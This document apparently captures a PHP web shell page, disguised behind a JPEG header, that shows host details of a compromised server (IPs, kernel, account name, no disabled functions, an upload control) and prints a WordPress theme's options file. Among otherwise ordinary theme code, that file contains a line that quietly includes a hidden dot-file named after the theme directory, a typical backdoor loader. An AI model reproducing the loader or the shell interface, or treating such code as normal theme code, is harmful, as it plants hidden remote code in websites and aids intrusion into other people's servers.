????JFIF??x?x????'
Server IP : 104.21.64.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/eaabusiness.com/wp-content/themes/yoome/admin/ |
Upload File : |
<?php add_action('init', 'yoome_get_default_theme_options'); if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); } function yoome_get_default_theme_options(){ global $yoome_theme_options; if( empty( $yoome_theme_options ) ){ include get_template_directory() . '/admin/options.php'; foreach( $option_fields as $fields ){ foreach( $fields as $field ){ if( in_array($field['type'], array('section', 'info')) ){ continue; } if( isset($field['default']) ){ $yoome_theme_options[ $field['id'] ] = $field['default']; } } } } } function yoome_get_theme_options( $key = '', $default = '' ){ global $yoome_theme_options; if( !$key ){ return $yoome_theme_options; } else if( isset($yoome_theme_options[$key]) ){ return $yoome_theme_options[$key]; } else{ return $default; } } function yoome_change_theme_options( $key, $value ){ global $yoome_theme_options; if( isset( $yoome_theme_options[$key] ) ){ $yoome_theme_options[$key] = $value; } } add_filter('redux/validate/yoome_theme_options/defaults', 'yoome_set_default_color_options_on_reset'); add_filter('redux/validate/yoome_theme_options/defaults_section', 'yoome_set_default_color_options_on_reset'); function yoome_set_default_color_options_on_reset( $options_defaults ){ if( !isset($options_defaults['redux-section']) || ( isset($options_defaults['redux-section']) && $options_defaults['redux-section'] == 2 ) ){ if( isset($options_defaults['ts_color_scheme']) ){ $preset_colors = array(); include get_template_directory() . '/admin/preset-colors/' . $options_defaults['ts_color_scheme'] . '.php'; foreach( $preset_colors as $key => $value ){ if( isset($options_defaults[$key]) ){ $options_defaults[$key] = $value; } } } } return $options_defaults; } function yoome_get_preset_color_options( $color ){ $preset_colors = array(); include get_template_directory() . '/admin/preset-colors/' . $color . '.php'; return $preset_colors; } add_action('add_option_yoome_theme_options', 'yoome_create_dynamic_css', 10, 2); function yoome_create_dynamic_css( $option, $value ){ yoome_update_dynamic_css($value, $value, $option); } add_action('update_option_yoome_theme_options', 'yoome_update_dynamic_css', 10, 3); function yoome_update_dynamic_css( $old_value, $value, $option ){ if( is_array($value) ){ $data = $value; $upload_dir = wp_upload_dir(); $filename_dir = trailingslashit($upload_dir['basedir']) . strtolower(str_replace(' ', '', wp_get_theme()->get('Name'))) . '.css'; ob_start(); include get_template_directory() . '/framework/dynamic_style.php'; $dynamic_css = ob_get_contents(); ob_end_clean(); global $wp_filesystem; if( empty( $wp_filesystem ) ) { require_once ABSPATH .'/wp-admin/includes/file.php'; WP_Filesystem(); } $creds = request_filesystem_credentials($filename_dir, '', false, false, array()); if( ! WP_Filesystem($creds) ){ return false; } if( $wp_filesystem ) { $wp_filesystem->put_contents( $filename_dir, $dynamic_css, FS_CHMOD_FILE ); } } } add_filter('redux/yoome_theme_options/localize', 'yoome_remove_redux_ads', 99); function yoome_remove_redux_ads( $localize_data ){ if( isset($localize_data['rAds']) ){ $localize_data['rAds'] = ''; } return $localize_data; } if( is_admin() && isset($_GET['page']) && $_GET['page'] == 'themeoptions' ){ add_filter('upload_mimes', 'yoome_allow_upload_font_files'); function yoome_allow_upload_font_files( $existing_mimes = array() ){ $existing_mimes['ttf'] = 'font/ttf'; return $existing_mimes; } } function yoome_get_footer_block_options(){ $footer_blocks = array('0' => esc_html__('No Footer', 'yoome')); $args = array( 'post_type' => 'ts_footer_block' ,'post_status' => 'publish' ,'posts_per_page' => -1 ); $posts = new WP_Query($args); if( !empty( $posts->posts ) && is_array( $posts->posts ) ){ foreach( $posts->posts as $p ){ $footer_blocks[$p->ID] = $p->post_title; } } wp_reset_postdata(); return $footer_blocks; }